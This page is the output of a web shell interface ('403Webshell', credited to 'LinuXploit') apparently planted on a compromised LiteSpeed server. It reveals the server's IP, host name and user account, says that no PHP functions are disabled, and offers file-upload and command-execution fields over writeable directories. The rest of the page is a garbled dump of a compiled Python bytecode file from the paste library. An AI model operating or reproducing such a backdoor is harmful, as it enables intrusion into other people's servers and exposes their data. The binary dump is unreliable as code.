403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.118.212.165
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/paste/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/paste/__pycache__/response.cpython-37.pyc
B

a�N��@s^dZddlZGdd�de�Zdd�Zdd�Zd	d
�Zdd�Zddd�Zddd�Z	ddd�Z
dS)z#Routines to generate WSGI responses�Nc@s�eZdZdZdd�Zdd�Zdd�Zdd	�ZeZddd�Z	dd
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zee�Zd
S)�
HeaderDictaI
    This represents response headers.  It handles the headers as a
    dictionary, with case-insensitive keys.

    Also there is an ``.add(key, value)`` method, which sets the key,
    or adds the value to the current value (turning it into a list if
    necessary).

    For passing to WSGI there is a ``.headeritems()`` method which is
    like ``.items()`` but unpacks value that are lists.  It also
    handles encoding -- all headers are encoded in ASCII (if they are
    unicode).

    @@: Should that encoding be ISO-8859-1 or UTF-8?  I'm not sure
    what the spec says.
    cCst�||�|��S)N)�dict�__getitem__�	normalize)�self�key�r�?/opt/alt/python37/lib/python3.7/site-packages/paste/response.pyrszHeaderDict.__getitem__cCst�||�|�|�dS)N)r�__setitem__r)rr�valuerrr	r
 szHeaderDict.__setitem__cCst�||�|��dS)N)r�__delitem__r)rrrrr	r#szHeaderDict.__delitem__cCst�||�|��S)N)r�__contains__r)rrrrr	r
&szHeaderDict.__contains__NcCst�||�|�|�S)N)r�getr)rr�failobjrrr	r+szHeaderDict.getcCst�||�|�|�S)N)r�
setdefaultr)rrrrrr	r.szHeaderDict.setdefaultcGstj||�|�f|��S)N)r�popr)rr�argsrrr	r1szHeaderDict.popcCs$x|D]}||||�|�<qWdS)N)r)r�otherrrrr	�update4s
zHeaderDict.updatecCst|�����S)N)�str�lower�strip)rrrrr	r8szHeaderDict.normalizecCsN|�|�}||krBt||t�r0||�|�qJ|||g||<n|||<dS)N)r�
isinstance�list�append)rrrrrr	�add;s
zHeaderDict.addcCs\g}xR|��D]F\}}t|t�rBx2|D]}|�|t|�f�q&Wq|�|t|�f�qW|S)N)�itemsrrrr)r�resultrr�vrrr	�headeritemsEs

zHeaderDict.headeritemscCs(|�}x|D]\}}|�||�qW|S)N)r)�cls�seqr�namerrrr	�fromlistPszHeaderDict.fromlist)N)N)�__name__�
__module__�__qualname__�__doc__rr
rr
Zhas_keyrrrrrrrr#�classmethodrrrr	r
s


rcCs.|��}x |D]\}}|��|krdSqWdS)z6
    Is header named ``name`` present in headers?
    TF)r)�headersr"�headerrrrr	�
has_headerXs
r+cs0�����fdd�|D�}|r(d�|�SdSdS)a�
    Returns the header's value, or None if no such header.  If a
    header appears more than once, all the values of the headers
    are joined with ','.   Note that this is consistent /w RFC 2616
    section 4.2 which states:

        It MUST be possible to combine the multiple header fields
        into one "field-name: field-value" pair, without changing
        the semantics of the message, by appending each subsequent
        field-value to the first, each separated by a comma.

    However, note that the original netscape usage of 'Set-Cookie',
    especially in MSIE which contains an 'expires' date will is not
    compatible with this particular concatination method.
    cs g|]\}}|���kr|�qSr)r)�.0r*r)r"rr	�
<listcomp>ssz header_value.<locals>.<listcomp>�,N)r�join)r)r"rr)r"r	�header_valuebs

r0cCsV|��}d}d}x@|t|�krP||d��|krF||d}||=q|d7}qW|S)z�
    Removes the named header from the list of headers.  Returns the
    value of that header, or None if no header found.  If multiple
    headers are found, only the last one is returned.
    rN�)r�len)r)r"�irrrr	�
remove_headerzsr4cCs||��}d}d}xT|t|�krd||d��|krZ|rBtd|��||d}||f||<|d7}qW|sx|�||f�|S)a
    Updates the headers replacing the first occurance of the given name
    with the value provided; asserting that no further occurances
    happen. Note that this is _not_ the same as remove_header and then
    append, as two distinct operations (del followed by an append) are
    not atomic in a threaded environment. Returns the previous header
    value for the provided name, if any.   Clearly one should not use
    this function with ``set-cookie`` or other names that may have more
    than one occurance in the headers.
    rNz$two values for the header '%s' foundr1)rr2�AssertionErrorr)r)r"rr3rrrr	�replace_header�sr6TcCs |rt�dtd�d||d�S)z[
    Returns a standard HTML response page for an HTTP error.
    **Note:** Deprecated
    zmwsgilib.error_body_response is deprecated; use the wsgi_application method on an HTTPException object instead�z~<html>
  <head>
    <title>%(error_code)s</title>
  </head>
  <body>
  <h1>%(error_code)s</h1>
  %(message)s
  </body>
</html>)�
error_code�message)�warnings�warn�DeprecationWarning)r8r9�__warnrrr	�error_body_response�s
r>cCs`|rt�dtd�|r4|�di��d�r4|d|7}t||dd�}dd	tt|��fg}|||fS)
a_
    Returns the status, headers, and body of an error response.

    Use like:

    .. code-block:: python

        status, headers, body = wsgilib.error_response(
            '301 Moved Permanently', 'Moved to <a href="%s">%s</a>'
            % (url, url))
        start_response(status, headers)
        return [body]

    **Note:** Deprecated
    zhwsgilib.error_response is deprecated; use the wsgi_application method on an HTTPException object insteadr7zpaste.config�debugz

<!-- %s -->F)r=)zcontent-typez	text/htmlzcontent-length)r:r;r<rr>rr2)�environr8r9�
debug_messager=�bodyr)rrr	�error_response�srCcs&|rt�dtd����fdd�}|S)zW
    An application that emits the given error response.

    **Note:** Deprecated
    zlwsgilib.error_response_app is deprecated; use the wsgi_application method on an HTTPException object insteadr7cs(t|���dd�\}}}|||�|gS)NF)rAr=)rC)r@Zstart_response�statusr)rB)rAr8r9rr	�application�s

z'error_response_app.<locals>.application)r:r;r<)r8r9rAr=rEr)rAr8r9r	�error_response_app�srF)T)NT)NT)r'r:rrr+r0r4r6r>rCrFrrrr	�<module>sN




Youez - 2016 - github.com/yon3zu
LinuXploit